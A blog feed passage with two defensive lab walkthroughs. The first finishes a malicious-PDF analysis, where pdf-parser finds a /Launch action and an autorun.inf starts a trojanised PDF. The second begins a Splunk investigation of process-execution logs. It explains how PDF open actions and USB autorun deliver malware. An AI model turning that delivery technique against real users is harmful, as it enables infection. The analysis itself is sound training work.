&lt;strong&gt;pdf-parser.py,&lt;/strong&gt; start to analyze &lt;em&gt;README.pdf&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to the author’s website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;“&lt;em&gt;This tool will parse a PDF document to identify the&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;fundamental elements&lt;/em&gt;&lt;/a&gt; &lt;em&gt;used in the analyzed file.&lt;/em&gt;”&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, by using &lt;em&gt;pdf-parser&lt;/em&gt; we can start to get a better idea of the malicious elements within the &lt;em&gt;PDF.&lt;/em&gt; For our first pass, we’ll use the below syntax using &lt;strong&gt;&lt;em&gt;-a&lt;/em&gt;&lt;/strong&gt; to display the stats and &lt;strong&gt;&lt;em&gt;-O&lt;/em&gt;&lt;/strong&gt; to include the object streams.&lt;/p&gt;&#xA;&lt;p&gt;pdf-parser.py README.pdf -a -O&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c188fe7d938cd93b3da35d8e0aef57b8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/c188fe7d938cd93b3da35d8e0aef57b8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This provides us with a solid overview of the risky keywords to watch for, as highlighted in &lt;em&gt;Lenny Zeltser’s&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://zeltser.com/analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Analyzing Malicious Documents Cheat Sheet&lt;/a&gt;, one of the valuable resources provided in our challenge scenario.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;423824f824a12dcd9f85b150bbb7ac2a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;324&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/423824f824a12dcd9f85b150bbb7ac2a_MD5.png&#34; width=&#34;631&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://zeltser.com/analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zeltser.com/analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Instead of diving into each object one-by-one, let’s use the default command to print all of them! Don’t worry, we can focus the output to avoid too much manual review. Since we are searching for a &lt;em&gt;Windows&lt;/em&gt; executable file, we’ll use &lt;em&gt;grep&lt;/em&gt; to display results matching the file extension “&lt;em&gt;.exe”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;pdf-parser.py README.pdf | grep -i &amp;ldquo;.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c378ea5e5007d18ec7f2d85be6051f57_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;5189px&#34; data-flex-grow=&#34;2162&#34; height=&#34;37&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/c378ea5e5007d18ec7f2d85be6051f57_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice — we found it! If you’re curious or opt to analyze each object manually, you can find the executable referenced in &lt;em&gt;Object 28,&lt;/em&gt; the &lt;em&gt;/Launch&lt;/em&gt; action.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2f34e9ac849f84d9e0c047d0324c8e47_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1469px&#34; data-flex-grow=&#34;612&#34; height=&#34;196&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/2f34e9ac849f84d9e0c047d0324c8e47_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/2f34e9ac849f84d9e0c047d0324c8e47_MD5_hu_bce4d1ab3e7d469d.png 800w, https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/2f34e9ac849f84d9e0c047d0324c8e47_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;596819cd63f4650689f9f662c18f0630_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/596819cd63f4650689f9f662c18f0630_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-how-many-suspicious-openaction-elements-does-the-filehave&#34;&gt;Question 6: How many suspicious /OpenAction elements does the file have?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! Remember in the last question where we used pdf-parser.py to find the risky keywords? Well, scroll back up to that output since we have the answer to &lt;strong&gt;Question 6&lt;/strong&gt; already…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b953f48cc53a2eec3ba2613c804c60a4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/b953f48cc53a2eec3ba2613c804c60a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice how there is a single number (1) next to &lt;em&gt;/OpenAction?&lt;/em&gt; This means there is only one object with an &lt;em&gt;OpenAction&lt;/em&gt;. While we don’t have to analyze the &lt;em&gt;OpenAction&lt;/em&gt; directly for this challenge it’s good to understand why this is considered &lt;em&gt;risky.&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Open actions&lt;/em&gt;&lt;/a&gt; are triggered when a &lt;em&gt;PDF&lt;/em&gt; file is opened and could be abused by a bad actor to execute &lt;em&gt;JavaScript,&lt;/em&gt; open a file/web page, etc. With all of this evidence, it seems that the USB drive is the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1091/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;initial access vector&lt;/a&gt; for this attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7e5333bfff856ca13329d04d6e48641b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-suspicious-usb-stick-challenge-walkthrough/7e5333bfff856ca13329d04d6e48641b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! Let’s do a quick recap. We’ve successfully examined the &lt;em&gt;USB&lt;/em&gt; drive’s &lt;em&gt;Autorun.inf&lt;/em&gt; file and discovered that it launches &lt;em&gt;README.pdf.&lt;/em&gt; Then we used &lt;em&gt;VirusTotal&lt;/em&gt; to determine that the file is &lt;em&gt;malicious,&lt;/em&gt; likely a backdoor &lt;em&gt;trojan.&lt;/em&gt; After that, we used &lt;em&gt;Didier Stevens’ pdfid.py,&lt;/em&gt; and &lt;em&gt;pdf-parser.py&lt;/em&gt; to look more closely at the structure of the &lt;em&gt;PDF&lt;/em&gt; where we found some suspicious &lt;em&gt;OpenActions&lt;/em&gt; targeting &lt;em&gt;Microsoft Windows.&lt;/em&gt; With the objectives completed, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/suspicious-usb-stick-2f18a6b124&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Suspicious USB Stick&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another interesting challenge! I picked this lab for this week when I realized I have never had an occassion to analyze a USB drive. While this turned into light analysis of a &lt;em&gt;PDF&lt;/em&gt; it was still a fantastic opportunity to explore the relation between &lt;em&gt;autorun.inf&lt;/em&gt; and a weaponized &lt;em&gt;PDF document.&lt;/em&gt; Any opportunity to practice with &lt;em&gt;Didier Stevens’ PDF tools&lt;/em&gt; is always a good thing to keep in the rotation as the question of &lt;em&gt;“is this PDF safe?”&lt;/em&gt; comes up often in the real world. I hope you had fun and learned something too!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Trend Micro — Autorun:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pdfid.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/List_of_file_signatures&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/List_of_file_signatures&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Lenny Zeltser — Analyzing Malicious Documents Cheat Sheet:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://zeltser.com/analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://zeltser.com/analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Adobe Open Actions:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Replication Through Removable Media (T1091):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1091/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1091/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Benign Challenge Room Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/</link>
            <pubDate>Sun, 29 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/692e9d911921660a108a1add603b2981_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Benign Challenge Room Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmebenign-challenge-room-walkthrough&#34;&gt;TryHackMe — Benign Challenge Room Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-endpoint-forensic-investigation-usingsplunk&#34;&gt;An Endpoint Forensic Investigation using Splunk&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;692e9d911921660a108a1add603b2981_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;360&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/692e9d911921660a108a1add603b2981_MD5.png&#34; width=&#34;360&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/benign&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/benign&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Imagine this:&lt;/strong&gt; You’re on the front lines of your organization’s security team when suddenly, intrusion detection alerts start firing from an endpoint, indicating discovery and persistence activity. You need to dive into your security logging platform, investigate the logs, and contain the threat. If this sounds like a thriller you want to be part of, you’ve stumbled upon the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This week, we’re tackling the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/benign&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Benign&lt;/strong&gt;&lt;/a&gt; room from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Using the &lt;em&gt;Splunk&lt;/em&gt; data and logging platform, we’re going to investigate a compromised endpoint, but we only have the process execution logs (Event ID: 4688) ingested into the platform. Together, we’ll analyze the logs to find the compromised endpoint and then uncover how the malicious payload was downloaded onto the system, where it was hosted, and how it bypassed the security controls to get there. Sounds like fun, right? Let’s get to it!&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, I won’t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/benign&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/benign&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index &lt;strong&gt;win_eventlogs&lt;/strong&gt; for further investigation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-logs-are-ingested-from-the-month-of-march2022&#34;&gt;Question 1: How many logs are ingested from the month of March, 2022?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s dive right in and start by getting an overview of how many logs have been ingested by &lt;em&gt;Splunk&lt;/em&gt; in March 2022. First, we’ll open the &lt;em&gt;Search &amp;amp; Reporting App&lt;/em&gt; from the left side of the dashboard:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;84f0543c5565219e5c6959d5c65ddd9c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;471px&#34; data-flex-grow=&#34;196&#34; height=&#34;407&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/84f0543c5565219e5c6959d5c65ddd9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once inside of the &lt;em&gt;Search&lt;/em&gt; tab, we’ll need to select the correct index that we want to query. Remember from the challenge scenario that the captured process execution logs were ingested into the &lt;strong&gt;&lt;em&gt;win_event_log&lt;/em&gt;&lt;/strong&gt; index.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index &lt;strong&gt;win_eventlogs&lt;/strong&gt; for further investigation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, to answer &lt;strong&gt;Question 1&lt;/strong&gt; we’ll need to find the total number of events ingested in &lt;strong&gt;March 2022.&lt;/strong&gt; To do that we’ll first input the index name we want to search, then hit the date/time button to change the search range. Let’s select a &lt;em&gt;Date Range&lt;/em&gt; between 03/01/2022 and 03/31/2022 and then press &lt;em&gt;Apply.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;feae125236a7b065bb10198dec68684c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;914px&#34; data-flex-grow=&#34;380&#34; height=&#34;315&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/feae125236a7b065bb10198dec68684c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/feae125236a7b065bb10198dec68684c_MD5_hu_86dcb9a7433c0735.png 800w, https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/feae125236a7b065bb10198dec68684c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will show us the total number of events during the selected date range to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ab278304eaded318f8056069d063c67b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2165px&#34; data-flex-grow=&#34;902&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ab278304eaded318f8056069d063c67b_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ab278304eaded318f8056069d063c67b_MD5_hu_4dce60d336364bdc.png 800w, https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/ab278304eaded318f8056069d063c67b_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;30800fd9ac5515936d0ce701c38aa88d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/30800fd9ac5515936d0ce701c38aa88d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-imposter-alert-there-seems-to-be-an-imposter-account-observed-in-the-logs-what-is-the-name-of-thatuser&#34;&gt;Question 2: Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, before diving into the logs again let’s pull back and review the information provided to us. We have a list of usernames and their corresponding departments which will be our point of comparison for “real” users versus “imposter” users.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;About the Network Information&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The network is divided into three logical segments. It will help in the investigation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;IT Department&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;James&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Moin&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Katrina&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;HR department&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Haroon&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Chris&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Diana&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Marketing department&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bell&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Amelia&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Deepak&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that we have the correct index and date range selected already, let’s start to analyze the data.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we need to look at all the usernames captured within the ingested data. For that, we can leverage the &lt;em&gt;stats&lt;/em&gt; command to display all the aggregated usernames from the &lt;em&gt;UserName&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;win_event_log&#xA;| stats count by UserName&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1aa487fac0634b095db84fa992066fb8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;732px&#34; data-flex-grow=&#34;305&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/1aa487fac0634b095db84fa992066fb8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/1aa487fac0634b095db84fa992066fb8_MD5_hu_ddac3b37dfe76ba5.png 800w, https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/1aa487fac0634b095db84fa992066fb8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will show us all 11 of the UserNames in the data! After a comparison with the provided users list, we’ll find one that looks similar but not quite right…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;409cc66eb6996127e57a3587b7804ce8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/409cc66eb6996127e57a3587b7804ce8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-which-user-from-the-hr-department-was-observed-to-be-running-scheduled-tasks&#34;&gt;Question 3: Which user from the HR department was observed to be running scheduled tasks?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, to find the answer to &lt;strong&gt;Question 3&lt;/strong&gt; we’re going to search for evidence of persistence by looking for &lt;em&gt;scheduled tasks&lt;/em&gt; activity within the &lt;em&gt;HR department.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;em&gt;Splunk&lt;/em&gt; only has ingested logs for the process execution events we’ll need to use the name of the &lt;em&gt;scheduled tasks&lt;/em&gt; executable in our search — &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;schtasks.exe&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;win_event_log schtasks&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9fcf62d9cb4485bb3541a3f01727e8ab_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/9fcf62d9cb4485bb3541a3f01727e8ab_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/9fcf62d9cb4485bb3541a3f01727e8ab_MD5_hu_a9bb47181e1ae0f0.png 800w, https://stumblesec.com/posts/tryhackme-benign-challenge-room-walkthrough/9fcf62d9cb4485bb3541a3f01727e8ab_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will return 87 &lt;em&gt;scheduled task&lt;/em&gt; events, but we can speed up our analysis by looking at the usernames that appear in these events by selecting &lt;em&gt;UserNames&lt;/em&gt; from the &lt;em&gt;selected fields&lt;/em&gt; header.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ed812ddfb0f979314a64f2633c302d82_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;654px&#34; data-flex-grow=&#34;272&#34; height=&#34;440&#34; loading=&#34;lazy&#34; 